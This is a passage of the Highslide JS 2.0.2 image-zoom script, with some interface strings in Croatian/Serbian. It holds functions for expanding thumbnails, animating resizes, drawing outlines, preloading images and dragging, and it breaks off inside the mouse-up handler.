/******************************************************************************
* Version 2.0.2 (September 15 2006)
*
* Author: Torstein Hønsi
* Email: See www.vikjavev.no/megsjol
*
* This script is free for non-commersial use, but leave this header.
*
******************************************************************************/



var hs = {

// Apply your own settings here, or override them in the html file.  
graphicsDir : '../highslide/graphics/',
restoreCursor : "zoomout.cur", // necessary for preload
fullExpandIcon : 'fullexpand.gif',
showCredits : true, // you can set this to false if you want
expandSteps : 10, // number of steps in zoom. Each step lasts for duration/step milliseconds.
expandDuration : 250, // milliseconds.
restoreSteps : 10,
restoreDuration : 250,
numberOfImagesToPreload : 5, // set to 0 for no preload
marginLeft : 10,
marginRight : 35, // leave room for scrollbars + outline
marginTop : 10,
marginBottom : 35, // leave room for scrollbars + outline
zIndexCounter : 1001, // adjust to other absolutely positioned elements
fullExpandDelay : 500, // delay of the 'full expand'-icon
fullExpandTitle : 'Expand to actual size',
restoreTitle : 'Klikni za vracanje na standardnu velicinu',
focusTitle : 'Klikni za prednju stranu',
loadingText : 'Ucitavanje...',
loadingTitle : 'Klikni za odustajanje',
creditsText : '',
creditsHref : 'http://vikjavev.no/highslide',
creditsTitle : 'Go to the Highslide JS homepage',

// These settings can also be overridden inline for each image
anchor : 'auto', // where the image expands from
spaceForCaption : 30, // leaves space below images with captions
outlineType : 'drop-shadow', // set null to disable outlines
wrapperClassName : null, // for enhanced css-control
// END OF YOUR SETTINGS


// declare internal properties
preloadTheseImages : new Array(),
continuePreloading: true,
expandedImagesCounter : 0,
expanders : new Array(),
mouseIsOverFullExpand : false,
isBusy : false,
container : null,
defaultRestoreCursor : null,
leftBeforeDrag : null,
topBeforeDrag : null,

// drag functionality
ie : document.all,
nn6 : document.getElementById && !document.all,
hasFocused : false,
isDrag : false,
dragX : null,
dragY : null,
dragObj : null,

    

ieVersion : function () {
    arr = navigator.appVersion.split("MSIE");
    return parseFloat(arr[1]);
},

//--- Find client width and height
clientInfo : function ()	{
	var iebody = (document.compatMode && document.compatMode != "BackCompat") 
        ? document.documentElement : document.body;
    this.width = document.all ? iebody.clientWidth : self.innerWidth;
    this.height = document.all ? iebody.clientHeight : self.innerHeight;
	this.scrollLeft = document.all ? iebody.scrollLeft : pageXOffset;
	this.scrollTop = document.all ? iebody.scrollTop : pageYOffset;
} ,

//--- Finds the position of an element
position : function(el)	{ 
	var pos = new Array(2);
	var parent = el;
	pos['x'] = parent.offsetLeft;
	pos['y'] = parent.offsetTop;
	// loop outh through parent elements:
	while (parent.offsetParent)	{
		parent = parent.offsetParent;
		pos['x'] += parent.offsetLeft;
		pos['y'] += parent.offsetTop;
	}
    
	return pos;
}, 

//--- Expander object keeps track of all properties
expander : function() { },


//--- Do the thing
/* params can be one of: anchor, wrapperClassName, outlineType, spaceForCaption, thumbnailId */
expand : function(a, params) {
	//    if (hs.isBusy) return;
    hs.isBusy = true;
    try {
        hs.continuePreloading = false;
        hs.container = document.getElementById('highslide-container');
        
        if (params && params.thumbnailId) {
            var el = document.getElementById(params.thumbnailId);
        
        } else { // first img within anchor
            for (i = 0; i < a.childNodes.length; i++) {
				if (a.childNodes[i].tagName && a.childNodes[i].tagName == 'IMG') {
                    var el = a.childNodes[i];
                    break;
                }    		
            }
        }
		
		// cancel other instances
        for (var i in hs.expanders) {
            if (hs.expanders[i] && hs.expanders[i].thumb != el && !hs.expanders[i].showFullImageStarted) {
                hs.cancelLoading(i);
            }
        }
		
        
        // check if already open
        for (var i in hs.expanders) {
            if (hs.expanders[i] && hs.expanders[i].thumb == el) {
                hs.isBusy = false;
                return false;
            }
        }
        
        // initialize the new Expander object
        var key = hs.expandedImagesCounter++;
        hs.expanders[key] = new hs.expander();
        var exp = hs.expanders[key];
        exp.a = a;
		
		// override inline parameters
		var legalParams = new Array('anchor', 'outlineType', 'spaceForCaption', 'wrapperClassName');
		for (var i in legalParams) {
			var name = legalParams[i];
			if (params && params[name]) exp[name] = params[name];
			else exp[name] = hs[name];
		}
		
        
        var imgId = 'expanded-'+ hs.expandedImagesCounter;
        exp.thumbsUserSetId = el.id;
        if (!el.id) el.id = 'hs-thumb-'+ hs.expandedImagesCounter;
        exp.thumb = el;
        
        exp.originalCursor = el.style.cursor;
        el.style.cursor = 'wait';

        var pos = hs.position(el);  
                
        // instanciate the wrapper
        var wrapper = document.createElement('div');
        wrapper.style.visibility = 'hidden';
        wrapper.style.position = 'absolute';
		if (exp.wrapperClassName) wrapper.className = exp.wrapperClassName;
        wrapper.style.zIndex = hs.zIndexCounter++;        
        exp.wrapper = wrapper;
        
        // store properties of the thumbnail
        exp.thumbWidth = el.width;
        exp.thumbHeight = el.height;
        exp.thumbLeft = pos['x'];
        exp.thumbTop = pos['y'];
        
        // thumb borders
        exp.thumbOffsetBorderW = (exp.thumb.offsetWidth - exp.thumbWidth) / 2;
        exp.thumbOffsetBorderH = (exp.thumb.offsetHeight - exp.thumbHeight) / 2;
		
		// loading symbol
		var loading = document.createElement('a');
		loading.style.position = 'absolute';
		loading.style.visibility = 'hidden';
		loading.className = 'highslide-loading';
        loading.title = hs.loadingTitle;
        loading.href = 'javascript:hs.cancelLoading('+ key +')'
		hs.container.appendChild(loading);
		if (hs.loadingText) loading.innerHTML = hs.loadingText;
        loading.style.left = (exp.thumbLeft + exp.thumbOffsetBorderW + (exp.thumbWidth - loading.offsetWidth) / 2) +'px';
		loading.style.top = (exp.thumbTop + (exp.thumbHeight - loading.offsetHeight) / 2) +'px';
		exp.loading = loading;
    	setTimeout("if (hs.expanders["+ key +"].loading) hs.expanders["+ key +"].loading.style.visibility = 'visible';", 100);
		
        // instanciate the full-size image
        var img = document.createElement('img');
        exp.fullImage = img;
        if (navigator.userAgent.indexOf("Safari") != -1) { // http://bugzilla.opendarwin.org/show_bug.cgi?id=3869
            img.onload = function () { 
                var safImg = new Image;
                safImg.src = this.src;
                exp.fullImage.width = safImg.width;
                exp.fullImage.height = safImg.height;
                hs.showFullImage(key); 
            }
        } else {
            img.onload = function () { hs.showFullImage(key); }
        }
        img.src = a.href;
        img.className = 'highslide-image '+ el.className;
        img.style.visibility = 'hidden' // prevent flickering in IE
        img.style.display = 'block';
		img.style.position = 'relative';
    	img.style.zIndex = 3;
		img.id = imgId;
        img.title = hs.restoreTitle;
        img.onmouseover = function () { setTimeout("hs.showFullExpand('"+ key +"')", hs.fullExpandDelay); }
        img.onmouseout = function () { setTimeout("hs.hideFullExpand('"+ key +"')", 50); }
        img.setAttribute('key', key); // used on drag


        return false; // important!
    
    } catch (e) {
        return true; // script failed: default href fires
    }
    
}, 

//--- Show the image after it has been preloaded
showFullImage : function(key) {
	
	try { 
	    var exp = hs.expanders[key];
	    
	    // prevent looping on certain Gecko engines:
	    if (exp.showFullImageStarted) return;
	    else exp.showFullImageStarted = true;
        
        // Iframes bug
        hs.hideIframes = (window.opera || navigator.vendor == 'KDE' || (hs.ie && hs.ieVersion() < 5.5));
        if (hs.hideIframes) hs.toggleIFrames('hidden');
		
		// remove loading div
	    if (exp.loading) {
	        hs.container.removeChild(exp.loading);
	        exp.loading = null;
	    }    
	    
	    exp.thumb.style.cursor = exp.originalCursor;
	    
        var newWidth = exp.fullImage.width; // causes problems in Safari
	    var newHeight = exp.fullImage.height;
	    exp.fullExpandWidth = newWidth;
	    exp.fullExpandHeight = newHeight;
	    
	    exp.fullImage.width = exp.thumb.width;
	    exp.fullImage.height = exp.thumb.height;
	
	    // identify caption div
	    var modMarginBottom = hs.marginBottom;
	    var thumbsUserSetId = exp.thumbsUserSetId; // id has to be user set
	    if (thumbsUserSetId && document.getElementById('caption-for-'+ thumbsUserSetId)) {
	        var captionClone = document.getElementById('caption-for-'+ exp.thumb.id).cloneNode(true);
	        exp.caption = captionClone;
	        modMarginBottom += exp.spaceForCaption;
	    }
        
	    
	    exp.wrapper.appendChild(exp.fullImage)
	    exp.wrapper.style.left = exp.thumbLeft;
	    exp.wrapper.style.top = exp.thumbTop;
	    hs.container.appendChild(exp.wrapper);
		
		// correct for borders
	    exp.offsetBorderW = (exp.wrapper.offsetWidth - exp.thumb.width) / 2;
        exp.offsetBorderH = (exp.wrapper.offsetHeight - exp.thumb.height) / 2;
	    var modMarginRight = hs.marginRight + 2 * exp.offsetBorderW;
        modMarginBottom += 2 * exp.offsetBorderH;
	    
	    var ratio = newWidth / newHeight;
	    
	    // default (start) values
		var newLeft = parseInt(exp.thumbLeft) - exp.offsetBorderW + exp.thumbOffsetBorderW;
	    var newTop = parseInt(exp.thumbTop) - exp.offsetBorderH + exp.thumbOffsetBorderH;
	    var oldRight = newLeft + parseInt(exp.thumb.width);
	    var oldBottom = newTop + parseInt(exp.thumb.height);
	    
	    var justifyX;
	    var justifyY;
	    switch (exp.anchor) {
	    case 'auto':
	        justifyX = 'auto';
	        justifyY = 'auto';
	        break;
	    case 'top':
	        justifyX = 'auto';
	        break;
	    case 'top-right':
	        justifyX = 'right';
	        break;
	    case 'right':
	        justifyX = 'right';
	        justifyY = 'auto';
	        break;
	    case 'bottom-right':
	        justifyX = 'right';
	        justifyY = 'bottom';
	        break;
	    case 'bottom':
	        justifyX = 'auto';
	        justifyY = 'bottom';
	        break;
	    case 'bottom-left':
	        justifyY = 'bottom';
	        break;
	    case 'left':
	        justifyY = 'auto';
	        break;
	    case 'top-left':
	        break;
	    default:
	        justifyX = 'auto';
	        justifyY = 'auto';        
	    } 
	    
	    var client = new hs.clientInfo();
	    
	    
	    if (justifyX == 'auto') {
	        var hasMovedNewLeft = false;
	        // calculate newLeft
	        newLeft = Math.round(newLeft - ((newWidth - exp.thumb.width) / 2)); // as in center
	        if (newLeft < client.scrollLeft + hs.marginLeft) {
	            newLeft = client.scrollLeft + hs.marginLeft;
	            hasMovedNewLeft = true;
	        }
	        // calculate right/newWidth
	        if (newLeft + newWidth > client.scrollLeft + client.width - hs.marginLeft) {
	            if (hasMovedNewLeft) newWidth = client.width - hs.marginLeft - modMarginRight; // can't expand more
	            else if (newWidth < client.width - hs.marginLeft - modMarginRight) { // move newTop up
	                newLeft = client.scrollLeft + client.width - newWidth - hs.marginLeft - modMarginRight;
	            } else { // image larger than client
	                newLeft = client.scrollLeft + hs.marginLeft;
	                newWidth = client.width - hs.marginLeft - modMarginRight;
	            }
	        }
	    } else if (justifyX == 'right') {
	        newLeft = Math.floor(newLeft - newWidth + exp.thumb.width);
	    }
	    if (justifyY == 'auto') {
	        var hasMovedNewTop = false;
	        // calculate newTop
	        newTop = Math.round(newTop - ((newHeight - exp.thumb.height) / 2)); // as in center
	        if (newTop < client.scrollTop + hs.marginTop) {
	            newTop = client.scrollTop + hs.marginTop;
	            hasMovedNewTop = true;
	        }
	        // calculate bottom/newHeight
	        if (newTop + newHeight > client.scrollTop + client.height - hs.marginTop - modMarginBottom) {
	            if (hasMovedNewTop) newHeight = client.height - hs.marginTop - modMarginBottom; // can't expand more
	            else if (newHeight < client.height - hs.marginTop - modMarginBottom) { // move newTop up
	                newTop = client.scrollTop + client.height - newHeight - hs.marginTop - modMarginBottom;
	            } else { // image larger than client
	                newTop = client.scrollTop + hs.marginTop;
	                newHeight = client.height - hs.marginTop - modMarginBottom;
	            }
	        }
	    } else if (justifyY == 'bottom') {
	        newTop = Math.floor(newTop - newHeight + exp.thumb.height);
	    }
	    
	    // don't leave the page; better to expand right bottom
	    if (newLeft < hs.marginLeft) {
	        tmpLeft = newLeft;
	        newLeft = hs.marginLeft; 
	        newWidth = newWidth - (newLeft - tmpLeft);
	    }
	    if (newTop < hs.marginTop) {
	        tmpTop = newTop;
	        newTop = hs.marginTop;
	        newHeight = newHeight - (newTop - tmpTop);
	    }
	
	    // Correct ratio
	    if (newWidth / newHeight > ratio) { // width greater
	        var tmpWidth = newWidth;
	        newWidth = newHeight * ratio;
	        if (justifyX == 'center' || justifyX == 'auto') {
	            // recalculate newLeft
	            newLeft = Math.round(parseInt(exp.thumbLeft) 
	                - ((newWidth - exp.thumb.width) / 2));
	            if (newLeft < client.scrollLeft + hs.marginLeft) { // to the left
	                newLeft = client.scrollLeft + hs.marginLeft;
	            } else if (newLeft + newWidth > client.scrollLeft + client.width - modMarginRight) { // to the right
	                newLeft = client.scrollLeft + client.width - newWidth - modMarginRight;
	            }
	        }
	        if (justifyX == 'right') newLeft = newLeft + (tmpWidth - newWidth);
	    
	    } else if (newWidth / newHeight < ratio) { // height greater
	        var tmpHeight = newHeight;
	        newHeight = newWidth / ratio;
	        if (justifyY == 'center' || justifyY == 'auto') {
	            // recalculate newTop
	            newTop = Math.round(parseInt(exp.thumbTop) 
	                - ((newHeight - exp.thumb.height) / 2));
	            if (newTop < client.scrollTop + hs.marginTop) { // above
	                newTop = client.scrollTop + hs.marginTop;
	            } else if (newTop + newHeight > client.scrollTop + client.height - modMarginBottom) { // below
	                newTop = client.scrollTop + client.height - newHeight - modMarginBottom;
	            }
	        }
	        if (justifyY == 'bottom') newTop = newTop + (tmpHeight - newHeight);
	    }
	    
	        
	    
	    // Apply size change
	    var width = exp.thumb.width;
	    var height = exp.thumb.height;
		var left = exp.thumbLeft + exp.thumbOffsetBorderW - exp.offsetBorderW;
	    var top = exp.thumbTop + exp.thumbOffsetBorderH - exp.offsetBorderH;
		intervalWidth = (newWidth - width) / hs.expandSteps;
		intervalHeight = (newHeight - height) / hs.expandSteps;
	    intervalLeft = (newLeft - left) / hs.expandSteps;
	    intervalTop = (newTop - top) / hs.expandSteps;
	    
	    for (i = 1; i < hs.expandSteps; i++) {
			width += intervalWidth;
			height += intervalHeight;
	        left += intervalLeft;
	        top += intervalTop;
	        if (justifyX == 'right') { // follow the edge nicely
	            width = Math.round(width);
	            left = oldRight - width;
	        }
	        if (justifyY == 'bottom') { 
	            height = Math.round(height);
	            top = oldBottom - height;
	        }
	        
			setTimeout("hs.changeSize("+ key +", "+ width +", "+ height +", "+ left +", "+ top +")", 
	            Math.round(i * (hs.expandDuration / hs.expandSteps)));
		}
	    
	    // setTimeout("hs.changeClassName("+ key +")", hs.expandDuration/2);    
		// Finally land on the right number:
		setTimeout("hs.changeSize("+ key +", "+ newWidth +", "+ newHeight +", "+ newLeft 
	        +", "+ newTop +")", hs.expandDuration);
		setTimeout("hs.focus("+ key +")", hs.expandDuration);
        if (hs.showCredits) setTimeout("hs.writeCredits("+ key +")", hs.expandDuration + 25);
	    if (exp.caption) {
	        setTimeout("hs.writeCaption("+ key +")", hs.expandDuration + 50);
	    } else {
			setTimeout( "hs.writeOutline("+ key +")", hs.expandDuration + 50);
	    }
		if (exp.fullExpandWidth > newWidth) {
	        setTimeout("hs.putFullExpand("+ key +")", hs.expandDuration + hs.fullExpandDelay);
	    }
	   
	} catch (e) {
	    if (hs.expanders[key] && hs.expanders[key].a) window.location.href = hs.expanders[key].a.href;
	}
}, 

cancelLoading : function(key) {
	var exp = hs.expanders[key];
	exp.thumb.style.cursor = exp.originalCursor;
	// remove loading div
    if (exp.loading) {
        hs.container.removeChild(exp.loading);
        exp.loading = null;
    }
        
    hs.expanders[key] = null;
},

toggleIFrames : function(visibility) { // Iframes bug
    var iframes = document.getElementsByTagName('IFRAME');
    if (iframes) {
        for (var i in iframes) {
            if (iframes[i].nodeName == 'IFRAME') iframes[i].style.visibility = visibility;
        }
    }
},

writeCredits : function (key) {
    var exp = hs.expanders[key];
    var credits = document.createElement('a');
    credits.href = hs.creditsHref;
    credits.className = 'highslide-credits';
    credits.innerHTML = hs.creditsText;
    credits.title = hs.creditsTitle;
    credits.style.position = 'absolute';
    credits.style.zIndex = 3;
    
    if (hs.ie) { // strange bug sometimes makes values wrong in the first def.
        exp.offsetBorderW = (exp.wrapper.offsetWidth - exp.fullImage.width) / 2;
        exp.offsetBorderH = (exp.wrapper.offsetHeight - exp.fullImage.height) / 2;
	}  
    credits.style.top = exp.offsetBorderH +'px';
    credits.style.left = exp.offsetBorderW +'px';
    exp.credits = credits;
    exp.wrapper.appendChild(credits);

},

writeCaption : function(key) {
    var exp = hs.expanders[key];
    
    exp.wrapper.style.width = exp.wrapper.offsetWidth +'px';    
    exp.caption.style.visibility = 'hidden';
    exp.caption.style.position = 'relative';
    if (hs.ie) exp.caption.style.zoom = 1;  
    exp.caption.className += ' highslide-display-block'; // have to use className due to Opera
    exp.wrapper.appendChild(exp.caption);
    
    var capHeight = exp.caption.offsetHeight;
    var slideHeight = (capHeight < exp.fullImage.height) ? capHeight : exp.fullImage.height;
    exp.caption.style.marginTop = '-'+ slideHeight +'px';
    exp.caption.style.zIndex = 2;
    
    var step = 1;
    if (slideHeight > 400) step = 4;
    else if (slideHeight > 200) step = 2;
    else if (slideHeight > 100) step = 1;
    
    
    setTimeout("hs.expanders["+ key +"].caption.style.visibility = 'visible'", 10); // flickering in Gecko
	var t = 0;
    for (marginTop = - slideHeight; marginTop <= 0; marginTop += step, t += 10) {
        setTimeout ("if (hs.expanders["+ key +"] && hs.expanders["+ key +"].caption) "
            + "hs.expanders["+ key +"].caption.style.marginTop = '"+ marginTop +"px'", t);
    }
	
	setTimeout('hs.writeOutline('+ key +')', t + 10);
    
},

writeOutline : function(key) {
    if (!hs.expanders[key]) return;
    var exp = hs.expanders[key];    
    exp.outline = new Array();
    var v = hs.ieVersion();
    
    hs.hasAlphaImageLoader = (v >= 5.5) && (v < 7) && (document.body.filters);
	hs.hasPngSupport = v >= 7 || !document.body.filters;
    
    hs.preloadOutlineElement(key, 1); // start recursive process
}, 

preloadOutlineElement : function(key, i) {
    if (!hs.expanders[key]) return;
    if (!hs.hasAlphaImageLoader && !hs.hasPngSupport) return;
    
    var exp = hs.expanders[key];
    
    if (exp.outline[i] && exp.outline[i].onload) { // Gecko multiple onloads bug
        exp.outline[i].onload = null;
        return;
    }
    
    var src = hs.graphicsDir + "outlines/"+ exp.outlineType +"/"+ i +".png";
    
    if (hs.hasAlphaImageLoader) {
        
		exp.outline[i] = document.createElement('div');
	 	exp.outline[i].style.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader("
	     	+ "enabled=true, sizingMethod=scale src='"+ src + "') ";
	} 
        
	var img = document.createElement('img'); // for onload trigger
	if (hs.hasPngSupport) {
        exp.outline[i] = img;
    }
    
    // common properties
	exp.outline[i].style.position = 'absolute';
	var dim = (i % 2 == 1) ? '10px' : '20px';
	exp.outline[i].style.height = dim;
	exp.outline[i].style.width = dim;
    
    if (i < 8) img.onload = function() { hs.preloadOutlineElement(key, i + 1); };                
    else img.onload = function() { hs.displayOutline(key); };
	img.src = src;
},

displayOutline : function(key) {
    if (!hs.expanders[key]) return; // already closed
    var exp = hs.expanders[key];
    
    hs.repositionOutline(key, 12);
	for (i = 1; i <= 8; i++) {
		exp.wrapper.appendChild(exp.outline[i]);
	}
	exp.hasOutline = true;
    
    // IE6
    exp.outline[1].style.lineHeight = '10px';
    exp.outline[5].style.lineHeight = '10px';
	
	for (i = 10, t = 0; i >= 0; i--, t += 50) {
	    setTimeout("hs.repositionOutline("+ key +", "+ i +");", t);   
	}   
},

repositionOutline : function(key, offset) {
	if (!hs.expanders[key]) return;
	var exp = hs.expanders[key];
    if (exp.isClosing) {
        hs.removeOutlines(key);
        return;
    }
    
	var w = exp.wrapper.offsetWidth;
	var h = exp.wrapper.offsetHeight;

	// top
	exp.outline[1].style.width = (w - (2 * offset) - 20) +'px';
    // strange khtml bug causes glitch in outline:
	if (navigator.vendor == 'KDE') exp.outline[1].style.height = ((offset % 2) + 10) +'px';
	exp.outline[1].style.left = (10 + offset) +'px';
	exp.outline[1].style.top = (-10 + offset) + 'px';
	
	// top-right
	exp.outline[2].style.left = (w - 10 - offset) +'px';
	exp.outline[2].style.top = (-10 + offset) + 'px';
	
	// right
	exp.outline[3].style.left = (w - offset) +'px';
	exp.outline[3].style.top = (10 + offset) +'px';
	exp.outline[3].style.height = (h - (2 * offset) - 20) +'px';
	
	// bottom-right
	exp.outline[4].style.left = (w - 10 - offset) +'px';
	exp.outline[4].style.top = (h - 10 - offset) +'px';
	
	// bottom
	exp.outline[5].style.width = (w - (2 * offset) - 20) +'px';
	if (navigator.vendor == 'KDE') exp.outline[5].style.height = ((offset % 2) + 10) +'px';
	exp.outline[5].style.left = (10 + offset) +'px';
	exp.outline[5].style.top = (h - offset) + 'px';
	
	// bottom-left
	exp.outline[6].style.left = (-10 + offset) +'px';
	exp.outline[6].style.top = (h - 10 - offset) +'px';
	
	// left
	exp.outline[7].style.left = (-10 + offset) +'px';
	exp.outline[7].style.top = (10 + offset) +'px';
	exp.outline[7].style.height = (h - (2 * offset) - 20) +'px';
	
	// top-left
	exp.outline[8].style.left = (-10 + offset) +'px';
	exp.outline[8].style.top = (-10 + offset) + 'px';
	
},
removeOutlines : function(key) {
    try {
        var exp = hs.expanders[key];
	    for (i = 1; i <= 8; i++) {
		    if (exp.hasOutline && exp.outline[i]) {
	            exp.wrapper.removeChild(exp.outline[i]);
	        }
	    }
    } catch (e) {}
},
//--- Focus by click
focus : function(key) {
    var img = hs.expanders[key].fullImage;
    // image
    for (var i in hs.expanders) {
        if (hs.expanders[i] && hs.expanders[i].fullImage.className == 'highslide-image' && i != key) {
            var blurKey = i;
            hs.expanders[i].fullImage.className += ' highslide-image-blur';
            hs.expanders[i].fullImage.title = hs.focusTitle;
            if (hs.expanders[i].caption) {
                hs.expanders[i].caption.className += ' highslide-caption-blur';
            }
        }
    }
    hs.expanders[key].wrapper.style.zIndex = hs.zIndexCounter++;
    img.className = 'highslide-image';
    if (hs.expanders[key].caption) {
        hs.expanders[key].caption.className = hs.expanders[key].caption.className.replace(' highslide-caption-blur', '');
    }
    
    img.title = hs.restoreTitle;
    
    hs.isBusy = false;
},

//--- Focus the topmost image after restore
focusTopmost : function() {
    var topZ = 0;
    var topmostKey = '';
    for (var i in hs.expanders) {
        if (hs.expanders[i] && hs.expanders[i].fullImage.className.match('highslide-image-blur')) {
            if (hs.expanders[i].wrapper.style.zIndex && hs.expanders[i].wrapper.style.zIndex > topZ) {
                topZ = hs.expanders[i].wrapper.style.zIndex;
                topmostKey = i;
            }
        }
    }
    //alert (topmostKey);
    if (topmostKey != '') hs.focus(topmostKey);
    hs.isBusy = false;
}, 

//--- Interface for text links
closeId : function(elId) {
    for (var i in hs.expanders) {
        if (hs.expanders[i] && hs.expanders[i].thumb.id == elId) {
            hs.restoreThumb(i);
            return;
        }
    }
},

//--- Click on large image to restore thumb size
restoreThumb : function(key) {
    if (hs.isBusy) return;
    hs.isBusy = true;
    try {
		var exp = hs.expanders[key];
        exp.isClosing = true;
    
        // remove full expand icon
        if (exp.fullExpand) {
            hs.expanders[key].fullExpand.parentNode.removeChild(exp.fullExpand);
            exp.fullExpand = null;
        }
        // remove caption div
        if (exp.caption) {
            exp.wrapper.removeChild(exp.caption);
            exp.caption = null;
        }
        // remove credits
        if (exp.credits) {
            exp.wrapper.removeChild(exp.credits);
            exp.credits = null;
        }
        hs.removeOutlines(key);
        
		hs.outlinePreloader = 0;
        exp.wrapper.style.width = null;
        
        var width = exp.fullImage.width;
        var height = exp.fullImage.height;
        var left = parseInt(exp.wrapper.style.left);
        var top = parseInt(exp.wrapper.style.top);
	    intervalWidth = (exp.thumbWidth - width) / hs.restoreSteps;
	    intervalHeight = (exp.thumbHeight - height) / hs.restoreSteps;
        intervalLeft = (exp.thumbLeft + exp.thumbOffsetBorderW - exp.offsetBorderW - left) / hs.restoreSteps;
        intervalTop = (exp.thumbTop + exp.thumbOffsetBorderH - exp.offsetBorderH - top) / hs.restoreSteps;
        
        var oldRight = Math.round(left + width);
        var oldBottom = Math.round(top + height);        
	    
        for (i = 1; i < hs.restoreSteps; i++) {
		    width += intervalWidth;
		    height += intervalHeight;
            left += intervalLeft;
            top += intervalTop;
            
		    setTimeout("hs.changeSize("+ key +", "+ width +", "+ height +", "+ left +", "+ top +")", 
                Math.round(i * (hs.restoreDuration / hs.restoreSteps)));
	    }
        setTimeout('hs.endRestore('+ key +')', hs.restoreDuration);
    
    } catch (e) {
        hs.expanders[key].thumb.style.visibility = 'visible';
        hs.expanders[key].wrapper.parentNode.removeChild(hs.expanders[key].wrapper);
    }
},

endRestore : function (key) {
    var exp = hs.expanders[key];
    exp.thumb.style.visibility = 'visible';
    exp.fullImage.style.visibility = 'hidden';
    if (hs.hideIframes) {
        var remaining = -1;
        for (var i in hs.expanders) {
            if (hs.expanders[i]) remaining++;
        }
        if (remaining <= 0) hs.toggleIFrames('visible');
    }
    
    exp.wrapper.parentNode.removeChild(exp.wrapper);
    
    hs.expanders[key] = null;
    
    
    if (hs.toggleImagesExpandEl) { // see below
        hs.expand(hs.toggleImagesExpandEl, hs.toggleImagesParams);
        hs.toggleImagesExpandEl = null;
        hs.toggleImagesParams = null;
    } else {
        hs.focusTopmost();
    }
},

//--- Function for next and previous links
toggleImages : function(closeId, expandEl, params) {
    hs.closeId(closeId);
    if (hs.ie) expandEl.href = expandEl.href.replace('about:blank', ''); // mysterious IE thing
    hs.toggleImagesExpandEl = expandEl;
    hs.toggleImagesParams = params;
    return false;
},


//--- Do the stepwise change
changeSize : function (key, newWidth, newHeight, newLeft, newTop) {
    try {
        var exp = hs.expanders[key];
    
        exp.fullImage.width = newWidth;
        exp.fullImage.height = newHeight;
        exp.wrapper.style.visibility = 'visible';
        exp.wrapper.style.left = newLeft +'px';
        exp.wrapper.style.top = newTop +'px';
        exp.fullImage.style.visibility = 'visible';
        exp.thumb.style.visibility = 'hidden';
        
    } catch (e) {
        window.location.href = hs.expanders[key].a.href;
    }
},

//--- Icon for full expand 
putFullExpand : function (key) {
    if (hs.isBusy) return;
    
    if (!hs.expanders[key]) {
        return;
    }
    
    var href = hs.expanders[key].fullImage.src;
    var thisKey = key;
    
    // the anchor
    
    var aFullExpand = document.createElement('a');
    aFullExpand.id = 'fullexpand-'+ hs.expanders[key].fullImage.id;
    aFullExpand.style.position = 'absolute';
    aFullExpand.style.left = (hs.expanders[key].fullImage.width - 55) +'px';
    aFullExpand.style.top = (hs.expanders[key].fullImage.height - 55) +'px';
    aFullExpand.style.zIndex = 3;
    aFullExpand.href = 'javascript:hs.fullExpand('+ key +');';
    aFullExpand.title = hs.fullExpandTitle;
    aFullExpand.onmouseover = function () { hs.mouseIsOverFullExpand = true; }
    aFullExpand.onmouseout = function () { hs.mouseIsOverFullExpand = false; }
    
    // the image
    var imgFullExpand = document.createElement('img');
    imgFullExpand.src = hs.graphicsDir + hs.fullExpandIcon;
    imgFullExpand.style.border = '0';
    imgFullExpand.style.display = 'block';
    aFullExpand.appendChild(imgFullExpand);
    
    hs.expanders[key].wrapper.appendChild(aFullExpand);
    hs.expanders[key].fullExpand = aFullExpand;
},

fullExpand : function (key) {
    try {
        var exp = hs.expanders[key];
        
        var newLeft = parseInt(exp.wrapper.style.left) - (exp.fullExpandWidth - exp.fullImage.width) / 2;
        if (newLeft < hs.marginLeft) newLeft = hs.marginLeft;
        exp.wrapper.style.left = newLeft +'px';
		
		var borderOffset = exp.wrapper.offsetWidth - exp.fullImage.width;
        
        exp.fullImage.width = exp.fullExpandWidth;
        exp.fullImage.height = exp.fullExpandHeight;
        hs.focus(key);
        
        exp.fullExpand.className = 'highslide-display-none';
        
        hs.mouseIsOverFullExpand = false;
        
        exp.wrapper.style.width = (exp.fullImage.width + borderOffset) +'px';
        
        if (hs.outlineType) hs.repositionOutline(key, 0);
    
    } catch (e) {
        window.location.href = hs.expanders[key].fullImage.src;
    }
},

showFullExpand : function (key) {
    if (hs.expanders[key] && hs.expanders[key].fullExpand) {
        hs.expanders[key].fullExpand.style.visibility = 'visible';
    }
},

hideFullExpand : function(key) {
    if (hs.expanders[key] && hs.expanders[key].fullExpand && !hs.mouseIsOverFullExpand) {
        hs.expanders[key].fullExpand.style.visibility = 'hidden';
    }
},

//--- Preload a number of images recursively
preloadFullImage : function (i) {
    if (hs.continuePreloading && hs.preloadTheseImages[i] && hs.preloadTheseImages[i] != 'undefined') {
        var img = document.createElement('img');
        img.onload = function() { hs.preloadFullImage(i + 1); }
        img.src = hs.preloadTheseImages[i];
    }
},

mouseMoveHandler : function(e)
{
  if (hs.isDrag)
  {
    var key = hs.dragObj.getAttribute('key');
    if (!hs.expanders[key].wrapper) return;
    var wrapper = hs.expanders[key].wrapper;
    
    var left = hs.nn6 ? tx + e.clientX - hs.dragX : tx + event.clientX - hs.dragX;
    wrapper.style.left = left +'px';
    var top = hs.nn6 ? ty + e.clientY - hs.dragY : ty + event.clientY - hs.dragY;
    wrapper.style.top  = top +'px';
    
    return false;
  }
}, 

mouseDownHandler : function(e) 
{

  var fobj       = hs.nn6 ? e.target : event.srcElement;
  var topelement = hs.nn6 ? "HTML" : "BODY";
  
  while (fobj.tagName != topelement && fobj.tagName != 'HTML' && !fobj.className.match('highslide-image'))
  {
    fobj = hs.nn6 ? fobj.parentNode : fobj.parentElement;
  }
  if (fobj.className.match('highslide-image'))
  {
    hs.isDrag = true;
    hs.dragObj = fobj;
    var tmpCursor = hs.dragObj.style.cursor;
    hs.defaultRestoreCursor = tmpCursor;
    hs.dragObj.style.cursor = 'move';
    tx = parseInt(hs.dragObj.parentNode.style.left);
    ty = parseInt(hs.dragObj.parentNode.style.top);
    
    hs.leftBeforeDrag = tx;
    hs.topBeforeDrag = ty;
    
    hs.dragX = hs.nn6 ? e.clientX : event.clientX;
    hs.dragY = hs.nn6 ? e.clientY : event.clientY;
    document.onmousemove = hs.mouseMoveHandler;
    
    if (fobj.className.match('highslide-image-blur')) {
        hs.focus(fobj.getAttribute('key'));
        hs.hasFocused = true;
    }
    return false;
  }
},

mouseUpHandler : function(e) {
    hs.isDrag = false;
    var fobj       = hs.nn6 ? e.target : event.srcElement;
    var topelement = hs.nn6 ? "HTML" : "BODY";

    while (fobj.tagName != topelement && fobj.tagName != 'HTML' && !fobj.className.match('highslide-image'))
    {
        fobj = hs.nn6 ? fobj.parentNode : fobj.parentElement;
    }
